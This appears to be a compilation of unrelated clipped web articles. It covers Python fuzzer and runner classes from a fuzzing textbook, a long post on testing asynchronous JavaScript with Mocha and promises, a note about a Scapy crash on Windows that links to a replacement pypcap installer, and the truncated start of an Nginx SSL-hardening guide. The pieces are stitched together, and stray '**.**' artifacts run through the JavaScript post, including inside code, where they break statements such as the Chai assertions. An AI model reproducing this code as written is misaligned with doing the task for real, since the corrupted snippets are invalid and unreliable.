Many of the benefits from `repOK()` assertions can also be obtained by using
_static type checkers_ on your code. In Python, for instance, the MyPy static
checker can find type errors as soon as types of arguments are properly
declared:

[code]

    from typing import Dict
    
    airport_codes = {
        "YVR": "Vancouver",  # etc
    }  # type: Dict[str, str]
    
[/code]

If we now add a key with a non-string type, as in

[code]

    airport_codes[1] = "First"
    
[/code]

this would be caught by MyPy immediately:

[code]

    $ mypy airports.py
    airports.py: error: Invalid index type "int" for "Dict[str, str]"; expected type "str"
    
[/code]

Statically checking more advanced properties such as the airport code
consisting of exactly three uppercase characters or a tree being acyclic,
however, quickly reach the limits of static checking. Your `repOK()`
assertions will still be needed – best in conjunction with a good test
generator.

## A Fuzzing Architecture¶

Since we'd like to reuse some parts of this chapter in the following ones, let
us define things in a way that are easier to reuse, and in particular easier
to _extend_. To this end, we introduce a number of _classes_ that encapsulate
the functionality above in a reusable way.

### Runner Classes¶

The first thing we introduce is the notion of a `Runner` – that is, an object
whose job it is to execute some object with a given input. A runner typically
is some program or function under test, but we can also have simpler runners.

Let us start with a base class for runners. A runner essentially provides a
method `run(input)` that is used to pass `input` \(a string\) to the runner.
`run()` returns a pair \(`result`, `outcome`\). Here, `result` is a runner-
specific value that gives details on the run; `outcome` is a value that
classifies the result in three categories:

  * `Runner.PASS` – the test _passed_. The run produced correct results.
  * `Runner.FAIL` – the test _failed_. The run produced incorrect results.
  * `Runner.UNRESOLVED` – the test neither passed nor failed. This happens if the run could not take place – for instance, because the input was invalid.

[code]

    class Runner(object):
        # Test outcomes
        PASS = "PASS"
        FAIL = "FAIL"
        UNRESOLVED = "UNRESOLVED"
    
        def __init__(self):
            """Initialize"""
            pass
    
        def run(self, inp):
            """Run the runner with the given input"""
            return (inp, Runner.UNRESOLVED)
    
[/code]

As a base class, `Runner` merely provides an interface for more complex
runners that build on it. More specifically, we introduce _subclasses_ that
_inherit_ the methods from their superclass in order to add additional methods
or to override inherited methods.

Here is one example of such a subclass: `PrintRunner` simply prints out
everything that is given to it, overriding the inherited `run()` method. This
is the default runner in many situations.

[code]

    class PrintRunner(Runner):
        def run(self, inp):
            """Print the given input"""
            print(inp)
            return (inp, Runner.UNRESOLVED)
    
[/code]

[code]

    p = PrintRunner()
    (result, outcome) = p.run("Some input")
    
[/code]

[code]

    Some input
    
[/code]

The result is just the string we passed as input:

[code]

    result
    
[/code]

[code]

    'Some input'
    
[/code]

Still, at this point, we have no way to classify program behavior:

[code]

    outcome
    
[/code]

[code]

    'UNRESOLVED'
    
[/code]

The `ProgramRunner` class sends the input to the standard input of a program
instead. The program is specified when creating a `ProgramRunner` object.

[code]

    class ProgramRunner(Runner):
        def __init__(self, program):
            """Initialize.  `program` is a program spec as passed to `subprocess.run()`"""
            self.program = program
    
        def run_process(self, inp=""):
            """Run the program with `inp` as input.  Return result of `subprocess.run()`."""
            return subprocess.run(self.program,
                                  input=inp,
                                  stdout=subprocess.PIPE,
                                  stderr=subprocess.PIPE,
                                  universal_newlines=True)
    
        def run(self, inp=""):
            """Run the program with `inp` as input.  Return test outcome based on result of `subprocess.run()`."""
            result = self.run_process(inp)
    
            if result.returncode == 0:
                outcome = self.PASS
            elif result.returncode < 0:
                outcome = self.FAIL
            else:
                outcome = self.UNRESOLVED
    
            return (result, outcome)
    
[/code]

Here's a variant for binary \(i.e., non-textual\) input and output.

[code]

    class BinaryProgramRunner(ProgramRunner):
        def run_process(self, inp=""):
            """Run the program with `inp` as input.  Return result of `subprocess.run()`."""
            return subprocess.run(self.program,
                                  input=inp.encode(),
                                  stdout=subprocess.PIPE,
                                  stderr=subprocess.PIPE)
    
[/code]

Let us demonstrate a `ProgramRunner` using the `cat` program – a program that
copies its input to its output. We see that a standard invocation of `cat`
simply does the job, with the output of `cat` being the same as its input:

[code]

    cat = ProgramRunner(program="cat")
    cat.run("hello")
    
[/code]

[code]

    (CompletedProcess(args='cat', returncode=0, stdout='hello', stderr=''), 'PASS')
    
[/code]

### Fuzzer Classes¶

Let us now define a _fuzzer_ that actually feed data into a consumer. The base
class for fuzzers provides one central method `fuzz()` that creates some
input. The `run()` function then sends the fuzz\(\) input to a runner,
returning the outcome; `runs()` does this for a given number \(`trials`\) of
times.

[code]

    class Fuzzer(object):
        def __init__(self):
            pass
    
        def fuzz(self):
            """Return fuzz input"""
            return ""
    
        def run(self, runner=Runner()):
            """Run `runner` with fuzz input"""
            return runner.run(self.fuzz())
    
        def runs(self, runner=PrintRunner(), trials=10):
            """Run `runner` with fuzz input, `trials` times"""
            # Note: the list comprehension below does not invoke self.run() for subclasses
            # return [self.run(runner) for i in range(trials)]
            outcomes = []
            for i in range(trials):
                outcomes.append(self.run(runner))
            return outcomes
    
[/code]

By default, `Fuzzer` objects do not do much, as their `fuzz()` function is
merely an abstract placeholder. The subclass `RandomFuzzer`, however,
implements the functionality of the `fuzzer()` function, above, adding an
additional parameter `min_length` to specify a minimum length.

[code]

    class RandomFuzzer(Fuzzer):
        def __init__(self, min_length=10, max_length=100,
                     char_start=32, char_range=32):
            self.min_length = min_length
            self.max_length = max_length
            self.char_start = char_start
            self.char_range = char_range
    
        def fuzz(self):
            """A string of `min_length` to `max_length` characters
               in the range [`char_start`, `char_start` + `char_range`]"""
            string_length = random.randrange(self.min_length, self.max_length + 1)
            out = ""
            for i in range(0, string_length):
                out += chr(random.randrange(self.char_start,
                                            self.char_start + self.char_range))
            return out
    
[/code]

With `RandomFuzzer`, we can now create a fuzzer whose configuration needs to
be specified only once when creating the fuzzer.

[code]

    random_fuzzer = RandomFuzzer(min_length=20, max_length=20)
    for i in range(10):
        print(random_fuzzer.fuzz())
    
[/code]

[code]

    '>23>33)(&"09.377.*3
    *+:5 ? (?1$4<>!?3>.'
    4+3/(3 (0%!>!(+9%,#$
    /51$2964>;)2417<9"2&
    907.. !7:&--"=$7',7*
    (5=5'.!*+&>")6%9)=,/
    ?:&5) ";.0!=6>3+>)=,
    6&,?:!#2))- ?:)=63'-
    ,)9#839%)?&(0<6("*;)
    4?!(49+8=-'&499%?< '
    
[/code]

We can now send such generated inputs to our previously defined `cat` runner,
verifying that `cat` actually does copy its \(fuzzed\) input to its output.

[code]

    for i in range(10):
        inp = random_fuzzer.fuzz()
        result, outcome = cat.run(inp)
        assert result.stdout == inp
        assert outcome == Runner.PASS
    
[/code]

Combining a `Fuzzer` with a `Runner`, however, is so common that we can use
the `run()` method supplied by the `Fuzzer` class for this purpose:

[code]

    random_fuzzer.run(cat)
    
[/code]

[code]

    (CompletedProcess(args='cat', returncode=0, stdout='?:+= % <1<6$:(>=:9)5', stderr=''),
     'PASS')
    
[/code]

With `runs()`, we can repeat a fuzzing run a number of times, obtaining a list
of results.

[code]

    random_fuzzer.runs(cat, 10)
    
[/code]

[code]

    [(CompletedProcess(args='cat', returncode=0, stdout='3976%%&+%6=(1)3&3:<9', stderr=''),
      'PASS'),
     (CompletedProcess(args='cat', returncode=0, stdout='33$#42$ 11=*%$20=<.-', stderr=''),
      'PASS'),
     (CompletedProcess(args='cat', returncode=0, stdout='"?<\'#8 </:*%9.--\'97!', stderr=''),
      'PASS'),
     (CompletedProcess(args='cat', returncode=0, stdout="/0-#(03/!#60'+6>&&72", stderr=''),
      'PASS'),
     (CompletedProcess(args='cat', returncode=0, stdout="=,+:,6'5:950+><3(*()", stderr=''),
      'PASS'),
     (CompletedProcess(args='cat', returncode=0, stdout=" 379+0?'%3137=2:4605", stderr=''),
      'PASS'),
     (CompletedProcess(args='cat', returncode=0, stdout="02>!$</'*81.#</22>+:", stderr=''),
      'PASS'),
     (CompletedProcess(args='cat', returncode=0, stdout="=-<'3-#88*%&*9< +1&&", stderr=''),
      'PASS'),
     (CompletedProcess(args='cat', returncode=0, stdout='2;;0=3&6=8&30&<-;?*;', stderr=''),
      'PASS'),
     (CompletedProcess(args='cat', returncode=0, stdout='/#05=*3($>::#7!0=12+', stderr=''),
      'PASS')]
    
[/code]

With this, we have all in place to create fuzzers – starting with the simple
random fuzzers introduced in this chapter, but even far more advanced ones.
Stay tuned\!

## Lessons Learned¶

  * Randomly generating inputs \("fuzzing"\) is a simple, cost-effective way to quickly test arbitrary programs for their robustness.
  * Bugs fuzzers find are mainly due to errors and deficiencies in _input processing_.
  * To catch errors, have as many _consistency checkers_ as possible.

We're done, so don't forget to clean up:

[code]

    os.remove(FILE)
    os.removedirs(tempdir)
    
[/code]

## Next Steps¶

From here, you can explore how to

  * use _mutations_ on existing inputs to get more valid inputs
  * use _grammars_ to specify the input format and thus get many more valid inputs
  * reduce _failing inputs_ for efficient debugging

Enjoy the read\!

## Background¶

Books on generating software tests in general are scarce \(which is why we
wrote this book\). There are a few notable books on _fuzzing,_ though, also
based on the basic fuzzing techniques introduced in this chapter:

  * The book "Fuzzing – Brute Force Vulnerability Discovery" covers a wide range of fuzzing domains, including files, Web pages, environment variables, and network protocols. The authors bring in lots of experience from fuzzing at Microsoft, and include a number of ready-made tools for Windows and UNIX programs. The tools have aged somewhat, but the principles remain.
  * The book "Fuzzing for Software Security Testing and Quality Assurance" \[Takanen _et al_ , 2008.\], now in its second edition 2018, covers a wide range of fuzzing tools and detection techniques; its authors bring in plenty of experience from security testing and vulnerability discovery. This is arguably one of the most comprehensive and up-to-date books on the field.

Specifically for this chapter, the seminal work on fuzzing, introducing both
the term and the approach, is "An Empirical Study of the Reliability of UNIX
Utilities" \[Miller _et al_ , 1990.\]. As the foundation for the field, this
is a must-read for anyone interested in fuzzing and robustness testing, with
observations as valid today as they were 30 years ago.

## Exercises¶

One of the errors found by Miller et al. \[Miller _et al_ , 1990.\] involves
the _troff_ typesetting system. _Troff_ takes as input a text consisting of
lines; a line beginning with a dot \(`.`\) includes typesetting commands, as
in

[code]

    .NH
    Some Heading
    .LP
    Some paragraph
[/code]

which would produce \(using `nroff -ms`\) the text

[code]

    1.  Some Heading
    
    Some paragraph
[/code]

At the time of Miller et al., _troff_ would fail if its input included

  1. The input sequence `\D` \(backslash + D\) followed by a non-printable character
  2. A character in the ASCII range 128–255 \(i.e., the 8th bit is set\) followed by a newline character
  3. A single dot \(`.`\) followed by a newline character.

### Exercise 1: Simulate Troff¶

For each of the above, write a Python function `f(s)` that fails if `s`
fulfills the failure criterion.

Use the notebook to work on the exercises and see solutions.

### Exercise 2: Run Simulated Troff¶

Create a class `TroffRunner` as subclass of `Runner` that checks for the above
predicates. Run it with `Fuzzer`. Be sure to have the `Fuzzer` object produce
the entire range of characters. Count how frequently the individual predicates
fail.

Use the notebook to work on the exercises and see solutions.

### Exercise 3: Run Real Troff¶

Using `BinaryProgramRunner`, apply the fuzzer you configured on the real
`troff` program. Check if you can produce any run whose output code is non-
zero, indicating a failure or a crash.

Use the notebook to work on the exercises and see solutions.

<img src='img/4425_88x31.png' width='88' height='31' /> The content of this
project is licensed under the Creative Commons Attribution-NonCommercial-
ShareAlike 4.0 International License. The source code that is part of the
content, as well as the source code used to format and display that content is
licensed under the MIT License. Last change: 2019-05-03 15:34:23+02:00 • Cite
• Imprint

# Testing Asynchronous JavaScript

**Created:**| _9/27/2013 10:42:44 AM_  
---|---  
**Updated:**| _9/27/2013 10:42:44 AM_  
**Author:**| __  
**Tags:**| __  
  

# **T** esting Asynchronous JavaScript****

_There seems to be a common misconception in the JavaScript community that
testing asynchronous code requires a different approach than testing ‘regular’
synchronous code**.** In this post I’ll explain why that’s not generally the
case**.** I’ll highlight the difference between testing a unit of code which
supports async behavior, as opposed code which is inherently asynchronous**.**
I’ll also show how promise-based async code lends itself to clean and succinct
unit tests which can be tested in a clear, readable way while still validating
async behaviour**.** _

* * *
## Async-compatible code vs**.** Intrinsically async code****

Most ‘asynchronous’ code which we write as JavaScript developers is not
intrinsically asynchronous**.** For example, let’s look at a simple ajax
operation implemented using JQuery:

[code]

    var callback = function(){
      alert('I was called back asynchronously');
    };
    
    $.ajax({ 
      type: 'GET', 
      url: 'http://example.com', 
      done: callback 
    });
    
[/code]

You might look at that and say "that's asynchronous code"**.** It has a
callback, right**?** Actually it's not inherently asynchronous, it just
supports the _potential_ to be used in an async context**.** Because `$.ajax`
provides the result of the AJAX call to its caller via callbacks rather than
by using a return value \(or exception\) it is able to implement its
operations asynchronously, but in fact it could choose not to**.** Imagine
this fake version of `$.ajax`:

[code]

    function ajax( opts ){
      opts.done( "fake result" );
    }
    
[/code]

This is obviously not a complete XHR implementation ;\) but more importantly
it is also _not an asynchronous implementation_**.** By calling the `done`
callback directly from within the method implementation itself we're
flattening a potentially asynchronous operation into a fully synchronous
operation**.** What effect would that have on clients of `ajax`**?** If we
called our fake ajax method like this:

[code]

    console.log( 'calling ajax..**.** ' );
    ajax({ 
      done: function(){ console.log( 'callback called' ); } 
    });
    console.log( '...called ajax' );
    
[/code]

What we'd see would be output along the lines of:

[code]

    calling ajax..**.**
    callback called
    ...called ajax
    
[/code]

As you can see, our log entries are written in the order they were defined,
because the fake `ajax` function we're using is a synchronous implementation
of a _potentially_ async API**.** All of this code will be executed by the
runtime synchronously, in a single turn through the event loop \[1\]**.**

Another way to think about this is that method calls which operate
synchronously are a special case of the more general asynchronous case**.**
Synchronous code is just async code where the result is returned within the
context of the originating call**.**

* * *
## Testing async-supporting code****

Hopefully I have succeeded in demonstrating that most of the JavaScript code
we write isn't inherently async, it just supports async behaviour because it
calls async-capable APIs - those that use callbacks \(or promises\)**.** But
why should we care about this? The code we write will always be used in an
async context, right**?** Well, no, not when we want to write unit tests for
our async-supporting code**.**

Let's continue with an example using `$.ajax`**.** Imagine we're writing a
function that fetches a JSON description of the current user from a URL and
creates a local User object based on that JSON**.** Our implementation might
look something like this:

[code]

    function parseUserJson(userJson) {
      return {
        loggedIn: true,
        fullName: userJson.firstName + " " + userJson.lastName
      };
    };
    
    function fetchCurrentUser(callback) {
      function ajaxDone(userJson) {
        var user = parseUserJson(userJson);
        callback(user);
      };
    
      return $.ajax({
        type: 'GET',
        url: "http://example.com/currentUser",
        done: ajaxDone
      });
    };
    
[/code]

In `fetchCurrentUser` we initiate a GET request to a url, supplying an
`ajaxDone` callback which will be executed asynchronously once the request
comes back with a response**.** In that callback we take the JSON we got back
from the response, parse it using the `parseUserJson` function to create a
\(rather anemic\) User domain object**.** Finally, we call the callback that
was initially passed in to `fetchCurrentUser`, passing the user object as a
parameter**.**

Let's look at how we would we write a unit test for this code \(there is a
list of the tools and libraries used during testing at the bottom of this
post\)**.** For example, how would we test that `fetchCurrentUser` parses JSON
into the appropriate User object**?** Before realizing the distinction between
intrinsically async code and async-supporting code we might think that we need
some sort of asynchronous unit test to test this asynchronous code**.** But
now we understand that the code we're testing isn't inherently async**.** We
can flatten its execution into a synchronous flow for testing purposes**.**
Let's see what that might look like:

[code]

    describe('fetchCurrentUser', function() {
        var simulatedAjaxResponse = {
          firstName: "Tomas",
          lastName: "Jakobsen"
        };
    
        $.ajax = function(ajaxOpts) {
          var doneCallback = ajaxOpts.done;
          doneCallback(simulatedAjaxResponse);
        };
    
        function fetchCallback(user) {
          expect(user.fullName)**.** to.equal("Tomas Jakobsen");
        };
    
        fetchCurrentUser(fetchCallback);
      });
    });
    
[/code]

The first thing we do is to replace `$.ajax` with a stub function which allows
us to simulate an ajax response coming back \(messing with `$.ajax` directly
is pretty gross, but I don't want to get into dependency management in this
particular post so we'll hold our nose\)**.** We then invoke the
`fetchCurrentUser` function which is the subject of our test**.** Because
`fetchCurrentUser` needs to support async fetching it takes a callback**.**
Our goal in this test is to inspect the eventual result of calling
`fetchCurrentUser`, which means we need to provide a callback to it which will
receive the user object which is eventually created**.** That callback uses
Chai's expect-style assertions  to verify that the user's `fullName` property
has been initialized correctly**.**

It's important to note that this test will execute in a totally synchronous
fashion**.** Just as with our previous example it will complete within a
single turn of the event loop**.**

* * *
## The catch****

There is a catch with this testing approach**.** What happens if we
accidentally comment out an important line in our production code like so:

[code]

    function fetchCurrentUser(callback) {
      function ajaxDone(userJson) {
        var user = parseUserJson(userJson);
        //callback(user);
      };
    
      return $.ajax({
        type: 'GET',
        url: "http://example.com/currentUser",
        done: ajaxDone
      });
    };
    
[/code]

This function as it stands won't work correctly**.** It'll never call the
callback passed in to `fetchCurrentUser`, meaning no user object will ever be
returned**.** You'd expect that our test would verify this, since it's
explicitly checking the value of the user's `fullName` property**.**

However, that's not the case**.** The test will continue to pass. Why is
that**?** Well, we put our assertions inside the callback which is _never
executed_**\!** The bug means that parts of our test are never called and thus
never exercised**.**

A naive approach to solving this might look something like:

[code]

    describe('fetchCurrentUser', function() {
      it('creates a parsed user', function() {
        var simulatedAjaxResponse = {
          firstName: "Tomas",
          lastName: "Jakobsen"
        };
    
        $.ajax = function(ajaxOpts) {
          var doneCallback = ajaxOpts.done;
          doneCallback(simulatedAjaxResponse);
        };
    
        function fetchCallback(user) {
          expect(user.fullName)**.** to.equal("Tomas Jakobsen");
          callbackCalled = true;
        };
    
        var callbackCalled = false;
    
        fetchCurrentUser(fetchCallback);
    
        expect(callbackCalled)**.** to.be.true;
      });
    });
    
[/code]

This is the same test as before, except now we're also tracking whether the
callback was ever called**.** This test will now correctly detect that our
callback is not being exercised and will fail, but it's a bit clunky**.** If
we're using Mocha  as our test runner \(as opposed to Jasmine  for example\)
then we have a slightly better option:

[code]

    describe('fetchCurrentUser', function() {
      it('creates a parsed user', function(done) {
        var simulatedAjaxResponse = {
          firstName: "Tomas",
          lastName: "Jakobsen"
        };
    
        $.ajax = function(ajaxOpts) {
          var doneCallback = ajaxOpts.done;
          doneCallback(simulatedAjaxResponse);
        };
    
        function fetchCallback(user) {
          expect(user.fullName)**.** to.equal("Tomas Jakobsen");
          done();
        };
    
        fetchCurrentUser(fetchCallback);
      });
    });
    
[/code]

Note that our `it` block now takes a `done` parameter**.** If Mocha sees that
your `it` block expects a parameter then it will treat the test as an async
test**.** It will provide a `done` function to your test, and in return your
test is _required_ to call `done()` to tell Mocha that the test is
complete**.** The call to `done()` is our test marking the end of its control
flow**.** This means that Mocha is able to detect whether a test reached the
end of its control flow, and fail the test if that doesn't happen**.** Note
this also means your tests can be truly asynchronous if required and execute
through multiple turns of the run loop**.**

This simple way of explicitly indicating when callback-centric test code has
concluded is one reason why some people to prefer Mocha over Jasmine**.**
Jasmine does support async tests too, but the mechanism is considerably
clunkier than the `done()` function**.**

* * *
## Good, but not great****

OK, so we've seen that it's very possible to write unit tests for callback-
oriented async-supporting code**.** However I'll be the first to admit that
the tests aren't very easy to read**.** It feels like there's a lot of
plumbing code, and the callback-centric nature of the code leaks into our
tests**.** I consider this a classic case of our tests helping inform us of a
'code smell'**.** If the tests look bad or are hard to write then there's
probably something wrong with the way the code under test was designed**.**

Next up I'll argue that switching from callbacks to Promises will help us
reduce this code smell, leading to cleaner code with correspondingly pleasant
tests**.**

* * *
## A whirlwind introduction to Promises****

I'm going to switch from callback-oriented async code to promise-oriented for
the rest of this article**.** I find that Promises lead to an implementation
which models the control flow of async-supporting code in a declarative
way**.** Likewise I think Promises make it easier to reason about unit tests
for async-supporting code**.** I'll give a very brief overview of Promises
here. If you haven't used them before then I strongly recommend learning more
about them as a first step towards using them to improve your own async
code**.**

I like to think of Promises as an object-oriented version of callbacks, with
some bonus features tacked on**.** With traditional callback-oriented code
when you call an async function you pass in a callback which will be invoked
once the async operation completes**.** In that one function call you are both
asking for some async work to be performed and also specifying what's next to
do once the work is complete**.** With Promises the request for an async
operation is broken apart from what to do afterwards**.** You invoke the async
operation as before, but the caller does not provide a callback as an argument
to the async function**.** Instead, the async function _returns_ a Promise
object to the caller**.** The caller then registers a callback onto that
Promise**.** You call the function to invoke the async operation, and then you
separately say what you want to do after the operation completes by
interacting with the Promise which the function returns**.**

So instead of this callback-oriented code:

[code]

    var callback = function(){
      alert('I was called back asynchronously');
    };
    
    someAsyncFunction( "some", "args", callback );
    
[/code]

you would do this with promise-oriented code:

[code]

    var callback = function(){
      alert('I was called back asynchronously');
    };
    
    var promise = someAsyncFunction( "some", "args" );
    promise.done( callback );
    
[/code]

In most cases you would use jQuery-style method chaining and anonymous
functions, resulting in something like:

[code]

    someAsyncFunction( "some", "args" ).done( function(){
        alert('I was called back asynchronously');
      });
    
[/code]

That's just the very basic functionality that a Promise library provides -
there's a lot more to take advantage of**.** I covered Promises in a bit more
detail in a previous blog post **.** I'd encourage you to read that for more
information**.** That post also includes a more complex example which shows
how some of the more advanced features of a Promise library can help remove
some of the tedious async plumbing from your code, helping keep the focus on
the actual problem being solved**.**

Dominic Denicola also does a great job of explaining why Promises are so
useful in this post **.** Highly recommended reading.

* * *
## Porting our async code to promises****

In our previous example we had the following callback-oriented implementation:

[code]

    function parseUserJson(userJson) {
      return {
        loggedIn: true,
        fullName: userJson.firstName + " " + userJson.lastName
      };
    };
    
    function fetchCurrentUser(callback) {
      function ajaxDone(userJson) {
        var user = parseUserJson(userJson);
        callback(user);
      };
    
      return $.ajax({
        type: 'GET',
        url: "http://example.com/currentUser",
        done: ajaxDone
      });
    };
    
[/code]

Here's what a promise-oriented implementation would look like:

[code]

    function parseUserJson(userJson) {
      return {
        loggedIn: true,
        fullName: userJson.firstName + " " + userJson.lastName
      };
    };
    
    function fetchCurrentUser() {
      return Q.when($.ajax({
        type: 'GET',
        url: "http://example.com/currentUser"
      })).then(parseUserJson);
    };
    
[/code]

As before `fetchCurrentUser` initiates a GET request to a url, but rather than
passing a callback directly to the `$.ajax` function we instead take the
promise returned from that function and chain the `parseUserJson` function
onto it**.** In this way we arrange for the JSON response coming from the
`$.ajax` call to flow through to our parser function - where it is transformed
into a parsed User object - and then continue to flow through to whatever
further promise pipeline had been set up by the caller to
`fetchCurrentUser`**.**

Note that I'm using the excellent Q library  to enhance the less-than-perfect
`$.Deferred` promise implementation that JQuery will return from the
`$.ajax(..**.**)` call. The post from Dominic  which I referenced earlier also
discusses what's missing from `$.Deferred` in more detail, although some of
his points don't apply to more recent versions of JQuery**.**

I find this promise-oriented implementation easier to read than the callback-
oriented code, and by replacing the primitive callbacks with a promise object
the options for extending how it works are much greater**.** We can take the
promise returned from something like `$.ajax` and then build upon it to
construct a pipeline of operations which operate on a value, transforming it
as it moves through the pipeline**.**

The tests for this promise-oriented implementation should also illustrate that
it leads to more readable code:

[code]

    describe('fetchCurrentUser', function() {
      it('creates a parsed user', function(done) {
        var simulatedAjaxResponse = {
          firstName: "Tomas",
          lastName: "Jakobsen"
        };
        $.ajax = function(){ return Q(simulatedAjaxResponse); }
    
        var userPromise = fetchCurrentUser();
    
        userPromise.then(function(user) {
          expect(user.fullName)**.** to.equal("Tomas Jakobsen");
          done();
        });
      });
    });
    
[/code]

This test is conceptually identical to the callback-oriented test we had
before**.** We replace `$.ajax` with a fake implementation that just returns a
hardcoded simulated response, wrapped in a pre-resolved Q promise**.** Then we
call the `fetchCurrentUser` function**.** Finally we verify that what comes
out the other end of our promise pipeline has the appropriate `.fullName`
property**.**

I'd argue that this promise-oriented form is easier to read, and easier to
refactor**.** There's more though\! Because promises act as an encapsulation
of an async operation we can also enhance our test runner with nice libraries
like chai-as-promised  which will let us refactor our test code into:

[code]

    describe('fetchCurrentUser', function() {
      it('creates a parsed user', function(done) {
        var simulatedAjaxResponse = {
          firstName: "Tomas",
          lastName: "Jakobsen"
        };
        $.ajax = function(){ return Q(simulatedAjaxResponse); }
    
        var fetchResult = fetchCurrentUser();
    
        return expect( fetchResult )**.** to.eventually
          .have.property('fullName','Tomas Jakobsen')
          .notify(done);
      });
    });
    
[/code]

We can take this further**.** With the addition of mocha-as-promised  we no
longer need to explicitly tell Mocha when our test's control flow has
concluded:

[code]

    describe('fetchCurrentUser', function() {
      it('creates a parsed user', function() {
        var simulatedAjaxResponse = {
          firstName: "Tomas",
          lastName: "Jakobsen"
        };
        $.ajax = function(){ return Q(simulatedAjaxResponse); }
    
        var fetchResult = fetchCurrentUser();
    
        return expect( fetchResult )**.** to.eventually
          .have.property('fullName','Tomas Jakobse');
      });
    });
    
[/code]

Here we've gotten rid of the `done` function trick**.** Instead we pass the
promise chain that represents the asynchronous control flow of our test _back
to the Mocha test runner_ , where the mocha-as-promised extensions are able to
do the background plumbing of making sure that the promise chain concludes
before moving on to the next test**.** This is such a smart feature that it
comes built in to other test runners such as Buster**.**

This is a good example of why promises are so powerful**.** By reifying the
concept of async control flow we can actually pass the control flow back to
the test runner where it can then operate on that control flow directly**.**
Crucially, our tests don't really need to know what the framework is
doing**.** They just pass the control flow back to the caller and let it take
over**.**

Essentially promises allow us to separate the concern of invoking an operation
from the concern of handling the result of that operation**.** That means we
can have our test code simulate one half and test how our production code
handles the other half**.**

* * *
## Testing inherently async code****

I've illustrated that we can test async-supporting code in an essentially
synchronous way, but what if you want to test code that really is inherently
async**?**

Mocha's support for async testing means that it _is_ very possible to test
truly asynchronous code using the same techniques I've been showing for
testing async-supporting code in a synchronous way**.** However, it's actually
rare for 'normal' JavaScript code to be inherently async**.** Inherently async
means code which explicitly abandons its turn around the event loop - for
example by calling `setTimeout` \- or code which calls a native non-blocking
API such as `XMLHttpRequest`**.** How often do we write code that does that
directly**?** Not often I'd say\[2\]. We _integrate_ with code that does that
in the form of libraries like JQuery, but as I've demonstrated in this post we
can still test that integration in a synchronous way since that integration
code is not inherently async**.**

I would assert that there are few cases where you need to unit test inherently
async code, unless you are writing a low-level library**.** You may need to
test code that rubs up against libraries that are inherently async, but you
won't often be creating that sort of code yourself, and thus won't often find
a need to write tests for that sort of code**.** In fact, my advice is to
aggressively limit the number of truly asynchronous tests you write and
maintain**.** Martin Fowler's excellent article on non-deterministic tests
does a thorough job of explaining why these types of tests tend to be
detrimental to the overall health of your test suite**.**

If you _do_ find yourself writing significant portions of inherently async
code then it's likely you need to take a step back and identify a small,
containable area of your code which handles all that icky async stuff**.**
It's code that's hard to write and hard to test. Isolate it, and test the snot
out of it with a different type of test \(i**.** e. an integration test\).
Gerald Meszaros's documentation of the Humble Object pattern  provides a nice
explanation of some ways to isolate your truely async code in a clean way**.**
Another wonderful source of advice on testing and containing this sort of
tricky code is the GOOS book , which talks about testing of asynchronous code
at various levels in some detail**.**

At the end of the day I'd guess that most JavaScript 'unit tests' which _need_
async functionality are in fact higher-level integration tests which are
calling out to databases, the DOM, web APIs, etc**.** Those sort of tests are
good and valuable, but it's important to understand that they're a different
type of test and that you'll almost certainly get better value from a larger
suite of more isolated unit tests**.** But that's a post for another day**.**

* * *
## For articles on similar topics**** …

…take a look at the tag: testing

* * *
## Colophon: tools and libraries used****

In my code examples I used the Q promises  implementation**.** For testing I
used the Mocha test runner  paired with the Chai test assertion library **.**
I enhanced this testing setup with the mocha-as-promised  and chai-as-promised
libraries**.** I ran the tests on node**.** js , using npm  to declare and
install the tools and libraries mentioned above**.**

All test code was isolated from any need for a DOM to be present and also
didn't require JQuery \(since we always replaced `$.ajax` with a test
double\)**.**

## Footnotes****

### 1: be consistently async****

There is a strong argument that even if you _can_ resolve an async operation
inline you should still preserve a consistent call sequence by deferring your
response to a subsequent turn around the event loop \(see the next footnote
for more on that**\!**\) Deferring execution of a callback is usually achieved
using `setImmediate` or similar**.**

### 2: Promises/A+ spec compliance****

I'm sneakily glossing over the fact that a promises implementation that
complies with Promises/A+  \- such as Q - is required to NOT resolve within a
single turn of the event loop**.**

If you don't know what that means, don't worry about it too much**.** If you
do, then forgive me for not going down that rat hole**.** I'd argue that
conceptually promised-oriented code is still flattened out to a synchronous
order even if it completes in two turns rather than one**.**

##  Significant Revisions****

_18 September 2013:_ second edition, adding coverage of promises

_03 September 2013:_ release first edition

****

# stacksmash.org » Scapy crash on Vista / Windows 7

**Created:**| _9/3/2009 6:50:13 PM_  
---|---  
**Updated:**| _9/3/2009 6:50:25 PM_  
**Author:**| __  
**Tags:**| _windows security security tools python_  
  

## Scapy crash on Vista / Windows 7

August 7th, 2009BradLeave a commentGo to comments

I love Scapy, a Python library that wraps around Pcap and various other things
to let you do all kinds of cool network stuff. I originally got into Scapy
because I wanted to do packet forgery and injection in Windows. It can also do
sniffing, modification, and visualization.

Scapy is the sole reason I got started in Python. For someone familiar with
Python, it’s really easy to use; for everyone else, these examples should
help. Scapy requires a bit of setup on Windows, but it’s not too difficult –
follow the setup guide here. Unless you use Vista or Windows 7.

Until recently, Vista/Win7 users suffered some weird crashes in Scapy. I found
a related bug report on its Trac system and added some details to it. Happily,
the smart developer person fixed the bug \(see the whole conversation here\).
It was in the custom, patched version of pypcap, and he posted a link to a new
one.

The whole reason I’m posting this is to draw attention to the fact that the
link to pypcap in the Windows Installation Guide \(linked above\) is now
outdated. I don’t know how to fix it, so in the meantime:

**Don’t download
**http://www.secdev.org/projects/scapy/files/pcap-1.1-scapy.win32-py2.5.exe**
, as the Windows Installation Guide says.  
**

**Download **http://dirk-
loss.de/scapy/pcap-1.1-scapy-20090720.win32-py25.exe** instead.**

###### No related posts.

# Hardening SSL in Nginx - Trevor Parker

**Created:**| _12/24/2014 4:06:10 PM_  
---|---  
**Updated:**| _12/24/2014 4:06:10 PM_  
**Author:**| __  
**Tags:**| _ssl_  
  

# Hardening SSL in Nginx

Securing your site’s web traffic with SSL is more than just slapping an SSL
certificate on your server. Times have changed. Things have gotten more
nuanced as browsers have aged, ciphers have weakened, and attackers have
gotten more creative.

For starters, you’ll want to choose a set of ciphers that provide a high
assurance of security without neglecting visitors on older browsers.

### Stronger Ciphers

Ciphers make encryption and message authentication work. If a cipher is
determined to be weak or vulnerable to attack, its usefulness is instantly
degraded. Unfortunately a balance has to be maintained between the set of
ciphers that are still good enough to be useful and the set of ciphers that
are supported by your visitor’s browsers.

At the time of writing, the following Nginx configuration is what is used on
this site, and achieves an A+ rating on the Qualys SSL Labs test:

[code]

    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
    ssl_prefer_server_ciphers on;
